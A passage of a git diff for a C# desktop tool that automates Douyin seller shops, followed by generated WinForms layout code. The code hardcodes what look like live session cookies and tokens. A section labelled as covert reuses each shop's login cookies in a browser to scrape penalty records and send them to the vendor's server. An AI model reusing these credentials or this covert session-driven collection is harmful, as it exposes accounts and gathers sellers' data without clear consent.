gfpart_1.0.0.1449_41890=1; gfpart_1.0.0.141_41910=0; gfpart_1.0.0.1459_42122=0; s_v_web_id=verify_km08bqd8_hidb5GiH_vrIJ_4NLS_BXbj_g7AQ3WRh0V7r; sid_guard=f05cfda2c3a3c03e61ab25636662fe29%7C1615186486%7C5183999%7CFri%2C+07-May-2021+06%3A54%3A45+GMT; odin_tt=374a9192927c18f56339e8b0573d5fef60340745618adcc8c76ad475795d56b0ae94e92a20ac764bc926e8e2836f4a0570290ead3758aeaddbb9b276212d0392; PHPSESSID=0b5f6b4a7d1edd33dc79856ea5177869; PHPSESSID_SS=0b5f6b4a7d1edd33dc79856ea5177869; gfpart_1.0.0.3971_42183=0; gfpart_1.0.0.142_42187=0; gfpart_1.0.0.13_42238=0; gfpart_1.0.0.13_42241=1; uidpasaddaehruigqreajf=0; Hm_lpvt_b6520b076191ab4b36812da4c90f7a5e=1615259674; MONITOR_WEB_ID=fa47cb48-5a51-433c-a1d6-efdbcacaa1fa; tt_scid=wpR1pmzjAcnZ70b7G-4H4cL9y1EUwJwHECT3twx.whlxUxoc.PTSTrVEf0POlOCT06b1"; + //cookie = GlobalConfig.DouShopLoginList.FirstOrDefault()?.Cookies; + + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://fxg.jinritemai.com/product/tproduct/add?appid=1&__token=42da1e0147ed009626111ff00ea6ba59&_signature=" + sign); + + request.KeepAlive = true; + request.Accept = "application/json, text/plain, */*"; + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36"; + request.ContentType = "application/json;charset=UTF-8"; + request.Headers.Add("Origin", @"https://fxg.jinritemai.com"); + request.Headers.Add("Sec-Fetch-Site", @"same-origin"); + request.Headers.Add("Sec-Fetch-Mode", @"cors"); + request.Headers.Add("Sec-Fetch-Dest", @"empty"); + request.Referer = "https://fxg.jinritemai.com/ffa/g/create"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Headers.Set(HttpRequestHeader.Cookie, cookie); + + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + + string body = @"{""check_status"":2,""name"":""夏季女装上衣T恤修身靓丽潮牌短袖"",""description"":""


    "",""market_price"":9800,""discount_price"":8800,""spec_id"":1693377644338235,""category_leaf_id"":20171,""pay_type"":1,""min_buy_num"":1,""product_type"":0,""delivery_delay_date"":0,""presell_type"":0,""spec_prices"":[{""spec_detail_ids"":[""1693377644339227"",""1693377644339259""],""price"":8800,""stock_num"":88,""step_stock_num"":0,""code"":"""",""supplier_id"":"""",""customs_report_info"":{}}],""pic"":[{""url"":""https://sf3-ttcdn-tos.pstatp.com/obj/temai/8f86b91cfdedd3898f6fef09c5791ccawww800-800""}],""assoc_ids"":"""",""product_format"":{""面料材质"":""其他/others"",""成分含量"":""96%及以上""},""weight_unit"":0,""freight_id"":0,""reduce_type"":1,""quality_map"":{""3457058919409648559"":{""quality_key"":""3457058919409648559"",""quality_name"":""报关单"",""quality_attachments"":[]},""3457058936748903145"":{""quality_key"":""3457058936748903145"",""quality_name"":""委托进口协议"",""quality_attachments"":[]},""3457058945162709852"":{""quality_key"":""3457058945162709852"",""quality_name"":""质检报告"",""quality_attachments"":[]},""6924586049331085575"":{""quality_key"":""6924586049331085575"",""quality_name"":""人物肖像授权资质"",""quality_attachments"":[]}},""stone"":{""remark"":""""},""after_sale_service"":{""supply_7day_return"":""1"",""supply_red_ass_return"":""0"",""supply_allergy_return"":""0""},""delivery_delay_day"":2,""need_check_out"":false,""need_logistics"":true,""poi_resource"":{""condition"":"""",""service_num"":"""",""notification"":"""",""poi_ids"":[],""total_can_use_count"":1},""biz_kind"":0,""appid"":1,""__token"":""42da1e0147ed009626111ff00ea6ba59"",""_lid"":""307675746717""}"; + body = @"{""check_status"":2,""name"":""多彩发绳"",""description"":""


    "",""market_price"":3600,""discount_price"":2600,""spec_id"":1693736247560215,""category_leaf_id"":20994,""pay_type"":1,""min_buy_num"":1,""product_type"":0,""delivery_delay_date"":0,""presell_type"":0,""spec_prices"":[{""spec_detail_ids"":[""1693736247560247""],""price"":2600,""stock_num"":99,""step_stock_num"":0,""code"":"""",""supplier_id"":"""",""customs_report_info"":{}}],""pic"":[{""url"":""https://sf6-ttcdn-tos.pstatp.com/obj/temai/52f1277d2099ed8ff8eacf38764c96ffwww800-800""}],""assoc_ids"":"""",""product_format"":{""材质"":""其他/others"",""镶嵌材质"":""未镶嵌"",""发饰分类"":""发绳""},""weight_unit"":0,""freight_id"":0,""reduce_type"":1,""quality_map"":{""3457058919409648559"":{""quality_key"":""3457058919409648559"",""quality_name"":""报关单"",""quality_attachments"":[]},""3457058936748903145"":{""quality_key"":""3457058936748903145"",""quality_name"":""委托进口协议"",""quality_attachments"":[]},""3457058945162709852"":{""quality_key"":""3457058945162709852"",""quality_name"":""质检报告"",""quality_attachments"":[]},""6924586049331085575"":{""quality_key"":""6924586049331085575"",""quality_name"":""人物肖像授权资质"",""quality_attachments"":[]}},""stone"":{""remark"":""""},""after_sale_service"":{""supply_7day_return"":""1"",""supply_red_ass_return"":""0"",""supply_allergy_return"":""0""},""delivery_delay_day"":2,""need_check_out"":false,""need_logistics"":true,""poi_resource"":{""condition"":"""",""service_num"":"""",""notification"":"""",""poi_ids"":[],""total_can_use_count"":1},""biz_kind"":0,""appid"":1,""__token"":""42da1e0147ed009626111ff00ea6ba59"",""_lid"":""727915279175""}"; + + byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body); + request.ContentLength = postBytes.Length; + Stream stream = request.GetRequestStream(); + stream.Write(postBytes, 0, postBytes.Length); + stream.Close(); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return false; + } + catch (Exception) + { + if (response != null) response.Close(); + return false; + } + + return true; + } + + private void btnDyCollect_Click(object sender, EventArgs e) + { + ProductCollectBase pb = new ProductCollectBase(); + pb.from_id = 3484334354522604433; + pb.from = "抖音"; + CollectDoyin cd = new CollectDoyin(pb); + cd.GetProduct(); + } + + #region 隐蔽获取店铺违规信息第一页填充违规库 + ChromiumWebBrowser webBrowser = null; + private void GetShopViolation() + { + while (StartUp.IsShopInit == false || this.Visible == false) + { + Thread.Sleep(1000); + } + dicLastGetFullViolateTime = NaiBa.Util.Helper.ConfigHelper.LoadConfig>("last_get_full_violate_time"); + if (dicLastGetFullViolateTime == null) + dicLastGetFullViolateTime = new Dictionary(); + // 加载最后一次违规记录 + vioDic = NaiBa.Util.Helper.ConfigHelper.LoadConfig>>("dou_violate_info"); + if (vioDic == null) + vioDic = new Dictionary>(); + if (webBrowser == null) + { + Invoke(new Action(() => + { + webBrowser = CEFBrowser.CreateChromiumWebBrowser("about:blank", false); + webBrowser.KeyboardHandler = new KeyboardHandler(); + webBrowser.Dock = DockStyle.Fill; + Helper.CustomResourceRequestHandlerLocal resourceRequestHandler = new Helper.CustomResourceRequestHandlerLocal(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadCompleteEvent; + webBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + webBrowser.BringToFront(); + //webBrowser.SendToBack(); + this.bodyPanel.Controls.Add(webBrowser); + })); + + while (!webBrowser.IsBrowserInitialized || webBrowser.IsLoading) + { + Thread.Sleep(500); + } + } + + foreach (var shop in GlobalConfig.DouShopLoginList) + { + if (shop.LoginStatus != "登录成功") + continue; + + var cookie = shop.Cookies == null ? "" : shop.Cookies; + CEFBrowser.DeleteCookie(webBrowser.RequestContext.GetCookieManager(null)); + var t = CEFBrowser.SetCookieAsync("jinritemai.com", cookie, webBrowser.RequestContext.GetCookieManager(null)); + t.Wait(2000); + webBrowser.Load("https://fxg.jinritemai.com/ffa/grs/health-center/manage"); + while (webBrowser.IsLoading) + { + Thread.Sleep(500); + } + Thread.Sleep(5000); + var jsStr = CommissionForm.clickJsElementStr + + "function clickProduct() {\r\n" + + " var elem = getElement('商品类', document.body);\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "clickProduct();\r\n"; + var t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(); + Thread.Sleep(10000); + + // 读取过全部违规数据的不再读取 + if (dicLastGetFullViolateTime.ContainsKey(shop.ShopAccountId) && dicLastGetFullViolateTime[shop.ShopAccountId] > DateTime.Now.AddDays(-3000)) + continue; + + for (int i = 2; i < 101; i++) + { + //jsStr = "ant-pagination-item ant-pagination-item-2"; + jsStr = "function clickPage(p) {\r\n" + + " if (document.body.innerHTML.indexOf('ant-pagination-item ant-pagination-item-' + p) === -1) return 'no_element';\r\n" + + " var elem = document.getElementsByClassName('ant-pagination-item ant-pagination-item-' + p)[0];\r\n" + + " if (elem) elem.click(); return 'success';\r\n" + + " return 'no_element';\r\n" + + "}\r\n" + + "clickPage(" + i + ");\r\n"; + t1 = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + t1.Wait(1000); + Thread.Sleep(10000); + + if (t1.Result.Result?.ToString() != "success") + break; + } + dicLastGetFullViolateTime[shop.ShopAccountId] = DateTime.Now; + NaiBa.Util.Helper.ConfigHelper.SaveConfig>("last_get_full_violate_time", dicLastGetFullViolateTime); + } + } + + Dictionary dicLastGetFullViolateTime = new Dictionary(); + Dictionary> vioDic = new Dictionary>(); + private void RequestHandler_ResourceLoadCompleteEvent(object sender, string url, string postData, string responseData, CefSharp.IRequest iRequest) + { + if (url.Contains("https://fxg.jinritemai.com/shopuser/govern/bff/api/query_penalize_tickets?csrf=&&msToken=")) + { + var _data = responseData; + var _url = url; + var _postData = postData; + var _request = iRequest; + Task.Run(() => + { + // biz_id_type 1.订单类违规 2.商品类违规 + if (!string.IsNullOrEmpty(_data) && _data.Contains("\"data\"") && _data.Contains("\"biz_id_type\":2") && !_data.Contains("\"data\":[]")) + { + var jObj = JObject.Parse(_data); + var dataStr = JsonHelper.SerializeObject(jObj["data"]); + List violateList = JsonHelper.DeserializeJsonToList(dataStr); + List violateListTemp = new List(); + foreach (var violateInfo in violateList) + { + // 如果是同一条违规,则跳过不再去写缓存 + if (vioDic.ContainsKey(violateInfo.shop_id) && vioDic[violateInfo.shop_id] != null && vioDic[violateInfo.shop_id].Any(v => v.penalize_id == violateInfo.penalize_id)) + { + var violateInfoOld = vioDic[violateInfo.shop_id].FirstOrDefault(v => v.penalize_id == violateInfo.penalize_id); + if (violateInfoOld != null && violateInfo.rule_name == violateInfoOld.rule_name) + { + violateInfo.up_product_id = violateInfoOld.up_product_id; + violateInfo.up_product_id_number = violateInfoOld.up_product_id_number; + continue; + } + } + + if (!ViolateRuleParam.LstViolateRuleName.Contains(violateInfo?.rule_name?.Trim())) + { + ViolateManageForm.UpdateViolateRuleNameList(violateInfo); + } + if (string.IsNullOrEmpty(violateInfo.up_product_id)) + { + // 获取违规商品的上家ID + ViolateManageForm.GetViolateUpId(violateInfo); + } + if (violateInfo.up_product_id_number > 0) + violateListTemp.Add(violateInfo); + } + + foreach (var violateInfo in violateListTemp) + { + // 将上家商品违规信息保存到服务端 + ViolateManageForm.AddViolateToServer(violateInfo); + } + if (violateList.Count > 0) + { + vioDic[violateList.FirstOrDefault()?.shop_id] = violateList; + // 保存店铺违规记录第一页 + NaiBa.Util.Helper.ConfigHelper.SaveConfig>>("dou_violate_info", vioDic); + } + } + }); + } + } + + private void lblVersionName_Click(object sender, EventArgs e) + { +#if DEBUG + if (this.webBrowser != null) + { + if (webBrowser.Tag == null) + { + webBrowser.BringToFront(); + webBrowser.Tag = 1; + } + else + { + webBrowser.SendToBack(); + webBrowser.Tag = null; + } + } +#endif + } + #endregion + + private void lblContactSupport_Click(object sender, EventArgs e) + { + SupportQrCodeForm qrForm = new SupportQrCodeForm(); + qrForm.ShowDialog(); + } + } +} diff --git a/TEMUKJD/MainForm.designer.cs b/TEMUKJD/MainForm.designer.cs new file mode 100644 index 0000000..22ac5ef --- /dev/null +++ b/TEMUKJD/MainForm.designer.cs @@ -0,0 +1,699 @@ +using LittleRabbit.UserComponent; +using System.Drawing; + +namespace LittleRabbit +{ + partial class MainForm + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows 窗体设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(MainForm)); + this.navPanel = new DevComponents.DotNetBar.PanelEx(); + this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); + this.pnlShop = new DevComponents.DotNetBar.PanelEx(); + this.pnlUpload = new DevComponents.DotNetBar.PanelEx(); + this.pnlMarket = new DevComponents.DotNetBar.PanelEx(); + this.pnlCollect = new DevComponents.DotNetBar.PanelEx(); + this.pnlTools = new DevComponents.DotNetBar.PanelEx(); + this.pnlOrder = new DevComponents.DotNetBar.PanelEx(); + this.pbLogo = new System.Windows.Forms.PictureBox(); + this.lklbGetHwCode = new LittleRabbit.UserComponent.LinkLabelLc(); + this.plTopRight = new System.Windows.Forms.Panel(); + this.lblContactSupport = new DevComponents.DotNetBar.LabelX(); + this.picPinDuoDuoToken = new System.Windows.Forms.PictureBox(); + this.pbAnnouncement = new System.Windows.Forms.PictureBox(); + this.lblVersionName = new DevComponents.DotNetBar.LabelX(); + this.lblVersionInfo = new DevComponents.DotNetBar.LabelX(); + this.max = new DevComponents.DotNetBar.PanelEx(); + this.min = new DevComponents.DotNetBar.PanelEx(); + this.close = new DevComponents.DotNetBar.PanelEx(); + this.btnDyCollect = new DevComponents.DotNetBar.ButtonX(); + this.btnTest = new DevComponents.DotNetBar.ButtonX(); + this.bodyPanelBg = new DevComponents.DotNetBar.PanelEx(); + this.bodyPanel = new DevComponents.DotNetBar.PanelEx(); + this.pnlWebBrowserJS = new DevComponents.DotNetBar.PanelEx(); + this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); + this.tpMainForm = new System.Windows.Forms.ToolTip(this.components); + this.navPanel.SuspendLayout(); + this.flowLayoutPanel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbLogo)).BeginInit(); + this.plTopRight.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.picPinDuoDuoToken)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.pbAnnouncement)).BeginInit(); + this.bodyPanelBg.SuspendLayout(); + this.bodyPanel.SuspendLayout(); + this.tableLayoutPanel1.SuspendLayout(); + this.SuspendLayout(); + // + // navPanel + // + this.navPanel.CanvasColor = System.Drawing.SystemColors.Control; + this.navPanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.navPanel.Controls.Add(this.flowLayoutPanel1); + this.navPanel.Controls.Add(this.pbLogo); + this.navPanel.Controls.Add(this.lklbGetHwCode); + this.navPanel.Controls.Add(this.plTopRight); + this.navPanel.DisabledBackColor = System.Drawing.Color.Empty; + this.navPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.navPanel.Location = new System.Drawing.Point(0, 0); + this.navPanel.Margin = new System.Windows.Forms.Padding(0); + this.navPanel.Name = "navPanel"; + this.navPanel.Size = new System.Drawing.Size(1278, 90); + this.navPanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.navPanel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(34)))), ((int)(((byte)(143)))), ((int)(((byte)(255))))); + this.navPanel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(63)))), ((int)(((byte)(126)))), ((int)(((byte)(255))))); + this.navPanel.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.navPanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.navPanel.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.navPanel.Style.BorderWidth = 0; + this.navPanel.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.navPanel.TabIndex = 0; + this.navPanel.DoubleClick += new System.EventHandler(this.navPanel_DoubleClick); + this.navPanel.MouseDown += new System.Windows.Forms.MouseEventHandler(this.navPanel_MouseDown); + this.navPanel.MouseMove += new System.Windows.Forms.MouseEventHandler(this.navPanel_MouseMove); + this.navPanel.MouseUp += new System.Windows.Forms.MouseEventHandler(this.navPanel_MouseUp); + // + // flowLayoutPanel1 + // + this.flowLayoutPanel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(34)))), ((int)(((byte)(143)))), ((int)(((byte)(255))))); + this.flowLayoutPanel1.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("flowLayoutPanel1.BackgroundImage"))); + this.flowLayoutPanel1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.None; + this.flowLayoutPanel1.Controls.Add(this.pnlShop); + this.flowLayoutPanel1.Controls.Add(this.pnlUpload); + this.flowLayoutPanel1.Controls.Add(this.pnlMarket); + this.flowLayoutPanel1.Controls.Add(this.pnlCollect); + this.flowLayoutPanel1.Controls.Add(this.pnlTools); + this.flowLayoutPanel1.Controls.Add(this.pnlOrder); + this.flowLayoutPanel1.Location = new System.Drawing.Point(196, 0); + this.flowLayoutPanel1.Name = "flowLayoutPanel1"; + this.flowLayoutPanel1.Size = new System.Drawing.Size(506, 90); + this.flowLayoutPanel1.TabIndex = 131; + // + // pnlShop + // + this.pnlShop.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlShop.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlShop.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlShop.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlShop.Location = new System.Drawing.Point(0, 0); + this.pnlShop.Margin = new System.Windows.Forms.Padding(0); + this.pnlShop.Name = "pnlShop"; + this.pnlShop.Size = new System.Drawing.Size(80, 90); + this.pnlShop.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlShop.Style.BackColor1.Alpha = ((byte)(0)); + this.pnlShop.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlShop.Style.BackColor2.Alpha = ((byte)(0)); + this.pnlShop.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlShop.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlShop.Style.BackgroundImage"))); + this.pnlShop.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlShop.Style.BorderColor.Color = System.Drawing.Color.Transparent; + this.pnlShop.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlShop.Style.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlShop.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlShop.Style.GradientAngle = 90; + this.pnlShop.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlShop.Style.MarginTop = 63; + this.pnlShop.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlShop.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlShop.StyleMouseOver.BackgroundImage"))); + this.pnlShop.StyleMouseOver.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlShop.StyleMouseOver.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlShop.StyleMouseOver.MarginTop = 63; + this.pnlShop.TabIndex = 15; + this.pnlShop.Text = "店铺管理"; + this.pnlShop.Click += new System.EventHandler(this.pnlShop_Click); + // + // pnlUpload + // + this.pnlUpload.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlUpload.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlUpload.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlUpload.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlUpload.Location = new System.Drawing.Point(80, 0); + this.pnlUpload.Margin = new System.Windows.Forms.Padding(0); + this.pnlUpload.Name = "pnlUpload"; + this.pnlUpload.Size = new System.Drawing.Size(80, 90); + this.pnlUpload.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlUpload.Style.BackColor1.Alpha = ((byte)(0)); + this.pnlUpload.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlUpload.Style.BackColor2.Alpha = ((byte)(0)); + this.pnlUpload.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlUpload.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlUpload.Style.BackgroundImage"))); + this.pnlUpload.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlUpload.Style.BorderColor.Color = System.Drawing.Color.Transparent; + this.pnlUpload.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlUpload.Style.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlUpload.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlUpload.Style.GradientAngle = 90; + this.pnlUpload.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlUpload.Style.MarginTop = 63; + this.pnlUpload.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlUpload.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlUpload.StyleMouseOver.BackgroundImage"))); + this.pnlUpload.StyleMouseOver.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlUpload.StyleMouseOver.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlUpload.StyleMouseOver.MarginTop = 63; + this.pnlUpload.TabIndex = 19; + this.pnlUpload.Text = "商品管理"; + this.pnlUpload.Click += new System.EventHandler(this.pnlUpload_Click); + // + // pnlMarket + // + this.pnlMarket.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlMarket.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlMarket.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlMarket.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlMarket.Location = new System.Drawing.Point(160, 0); + this.pnlMarket.Margin = new System.Windows.Forms.Padding(0); + this.pnlMarket.Name = "pnlMarket"; + this.pnlMarket.Size = new System.Drawing.Size(80, 90); + this.pnlMarket.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMarket.Style.BackColor1.Alpha = ((byte)(0)); + this.pnlMarket.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlMarket.Style.BackColor2.Alpha = ((byte)(0)); + this.pnlMarket.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlMarket.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlMarket.Style.BackgroundImage"))); + this.pnlMarket.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlMarket.Style.BorderColor.Color = System.Drawing.Color.Transparent; + this.pnlMarket.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlMarket.Style.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlMarket.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlMarket.Style.GradientAngle = 90; + this.pnlMarket.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlMarket.Style.MarginTop = 63; + this.pnlMarket.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMarket.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlMarket.StyleMouseOver.BackgroundImage"))); + this.pnlMarket.StyleMouseOver.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlMarket.StyleMouseOver.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlMarket.StyleMouseOver.MarginTop = 63; + this.pnlMarket.TabIndex = 3; + this.pnlMarket.Text = "营销中心"; + this.pnlMarket.Click += new System.EventHandler(this.pnlMarket_Click); + // + // pnlCollect + // + this.pnlCollect.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlCollect.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlCollect.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlCollect.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlCollect.Location = new System.Drawing.Point(240, 0); + this.pnlCollect.Margin = new System.Windows.Forms.Padding(0); + this.pnlCollect.Name = "pnlCollect"; + this.pnlCollect.Size = new System.Drawing.Size(80, 90); + this.pnlCollect.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlCollect.Style.BackColor1.Alpha = ((byte)(0)); + this.pnlCollect.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlCollect.Style.BackColor2.Alpha = ((byte)(0)); + this.pnlCollect.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlCollect.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlCollect.Style.BackgroundImage"))); + this.pnlCollect.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlCollect.Style.BorderColor.Color = System.Drawing.Color.Transparent; + this.pnlCollect.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlCollect.Style.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlCollect.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlCollect.Style.GradientAngle = 90; + this.pnlCollect.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlCollect.Style.MarginTop = 63; + this.pnlCollect.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlCollect.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlCollect.StyleMouseOver.BackgroundImage"))); + this.pnlCollect.StyleMouseOver.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlCollect.StyleMouseOver.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlCollect.StyleMouseOver.MarginTop = 63; + this.pnlCollect.TabIndex = 108; + this.pnlCollect.Text = "商品采集"; + this.pnlCollect.Visible = false; + this.pnlCollect.Click += new System.EventHandler(this.pnlCollect_Click); + // + // pnlTools + // + this.pnlTools.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlTools.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlTools.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlTools.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlTools.Location = new System.Drawing.Point(320, 0); + this.pnlTools.Margin = new System.Windows.Forms.Padding(0); + this.pnlTools.Name = "pnlTools"; + this.pnlTools.Size = new System.Drawing.Size(80, 90); + this.pnlTools.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlTools.Style.BackColor1.Alpha = ((byte)(0)); + this.pnlTools.Style.BackColor1.Color = System.Drawing.Color.Transparent; + this.pnlTools.Style.BackColor2.Alpha = ((byte)(0)); + this.pnlTools.Style.BackColor2.Color = System.Drawing.Color.Transparent; + this.pnlTools.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlTools.Style.BackgroundImage"))); + this.pnlTools.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlTools.Style.BorderColor.Color = System.Drawing.Color.Transparent; + this.pnlTools.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlTools.Style.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlTools.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlTools.Style.GradientAngle = 90; + this.pnlTools.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlTools.Style.MarginTop = 63; + this.pnlTools.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlTools.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlTools.StyleMouseOver.BackgroundImage"))); + this.pnlTools.StyleMouseOver.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.pnlTools.StyleMouseOver.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlTools.StyleMouseOver.MarginTop = 63; + this.pnlTools.TabIndex = 38; + this.pnlTools.Text = "系统设置"; + this.pnlTools.Click += new System.EventHandler(this.PnlSystem_Click); + // + // pnlOrder + // + this.pnlOrder.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlOrder.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlOrder.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlOrder.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlOrder.Location = new System.Drawing.Point(400, 0); + this.pnlOrder.Margin = new System.Windows.Forms.Padding(0); + this.pnlOrder.Name = "pnlOrder"; + this.pnlOrder.Size = new System.Drawing.Size(80, 90); + this.pnlOrder.Style.Alignment = 